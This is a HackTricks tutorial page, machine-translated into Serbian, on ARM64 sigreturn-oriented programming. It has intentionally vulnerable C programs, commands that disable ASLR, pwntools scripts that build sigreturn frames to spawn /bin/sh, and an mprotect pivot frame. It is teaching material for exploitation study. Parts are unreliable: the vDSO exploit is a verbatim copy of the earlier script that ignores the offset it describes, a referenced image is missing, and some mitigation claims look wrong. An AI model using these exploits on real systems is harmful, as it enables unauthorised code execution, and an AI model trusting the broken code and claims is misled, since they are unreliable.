> [!TIP]

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Reading time: 7 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pwntools primer

Ovaj primer kreira ranjivi binarni fajl i koristi ga. Binarni fajl čita u stek i zatim poziva sigreturn:

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

bof пример

Код

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

Kompajlirati sa:

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit

Eksploit koristi bof da se vrati na poziv sigreturn i pripremi stek za poziv execve sa pokazivačem na /bin/sh.

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

bof пример без sigreturn

Код

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

U sekciji vdso moguće je pronaći poziv na sigreturn na offsetu 0x7b0:

Stoga, ako je otkriven, moguće je koristiti ovu adresu za pristup sigreturn ako binarni fajl ne učitava to:

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Za više informacija o vdso proverite:

Ret2vDSO

A da biste zaobišli adresu /bin/sh, možete kreirati nekoliko env varijabli koje upućuju na nju, za više informacija:

ASLR


Automatsko pronalaženje sigreturn gadgeta (2023-2025)

Na modernim distribucijama sigreturn trampolin se i dalje izvozi putem vDSO stranice, ali tačan offset može varirati između verzija kernela i build flagova kao što su BTI (+branch-protection) ili PAC. Automatizacija njegovog otkrivanja sprečava hard-kodiranje offseta:

bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

Oba alata razumeju AArch64 kodiranja i će navesti kandidate mov x8, 0x8b ; svc #0 sekvence koje se mogu koristiti kao SROP gadget.

Napomena: Kada su binarni fajlovi kompajlirani sa BTI, prva instrukcija svake važeće mete indirektne grane je bti c. sigreturn trampolini koje postavlja linker već uključuju ispravnu BTI platformu za sletanje, tako da gadget ostaje upotrebljiv iz neprivilegovanog koda.

Povezivanje SROP-a sa ROP-om (pivot preko mprotect)

rt_sigreturn nam omogućava kontrolu svih registara opšte namene i pstate. Uobičajen obrazac na x86 je: 1) koristiti SROP za pozivanje mprotect, 2) pivotirati na novu izvršnu stek koja sadrži shell-code. Ista ideja funkcioniše na ARM64:

python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

Nakon slanja okvira možete poslati drugu fazu koja sadrži sirovi shell-kod na 0x400000+0x100. Pošto AArch64 koristi PC-relative adresiranje, ovo je često pogodnije od izgradnje velikih ROP lanaca.

Validacija kernela, PAC & Shadow-Stacks

Linux 5.16 je uveo strožu validaciju korisničkih signalnih okvira (commit 36f5a6c73096). Kernel sada proverava:

  • uc_flags mora sadržati UC_FP_XSTATE kada je extra_context prisutan.
  • Rezervisana reč u struct rt_sigframe mora biti nula.
  • Svaka pokazivačka u extra_context zapisu je poravnata i pokazuje unutar korisničkog adresnog prostora.

pwntools>=4.10 automatski kreira usklađene okvire, ali ako ih pravite ručno, obavezno inicijalizujte rezervisano na nulu i izostavite SVE zapis osim ako vam zaista nije potreban—inače će rt_sigreturn isporučiti SIGSEGV umesto da se vrati.

Počevši od mainstream Android 14 i Fedora 38, korisnički prostor se kompajlira sa PAC (Pointer Authentication) i BTI omogućeni po defaultu (-mbranch-protection=standard). SROP sam po sebi nije pogođen jer kernel direktno prepisuje PC iz kreiranog okvira, zaobilazeći autentifikovani LR sačuvan na steku; međutim, svaki sledeći ROP lanac koji vrši indirektne grane mora skakati na BTI-om omogućene instrukcije ili PAC-ovane adrese. Imajte to na umu prilikom odabira gadgeta.

Shadow-Call-Stacks uvedeni u ARMv8.9 (i već omogućeni na ChromeOS 1.27+) su mitigacija na nivou kompajlera i ne ometaju SROP jer se ne izvršavaju instrukcije povratka—tok kontrole se prenosi od strane kernela.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks